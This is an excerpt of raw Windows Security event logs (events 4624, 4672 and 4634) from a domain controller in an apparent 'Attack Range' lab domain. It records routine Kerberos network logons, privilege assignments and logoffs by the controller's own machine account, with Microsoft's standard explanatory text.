-OpCode=Info -RecordNumber=249428 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3FCC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249427 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3F6B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249426 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE3F6B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64245 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249425 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3F6B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249424 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3F05 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249423 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE3F05 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64244 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249422 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3F05 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249421 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3EA4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249420 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE3EA4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64243 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249419 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE3EA4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249442 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE415D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249441 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE415D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64250 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249440 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE415D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249439 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE40FC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249438 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE40FC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64249 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249437 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE40FC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249436 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4096 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249435 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4096 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64248 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249434 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4096 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249433 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4035 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249432 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4035 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64247 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249431 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4035 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249454 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE42EE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249453 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE42EE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64254 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249452 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE42EE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249451 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE428D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249450 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE428D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64253 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249449 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE428D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249448 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4227 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249447 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4227 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon 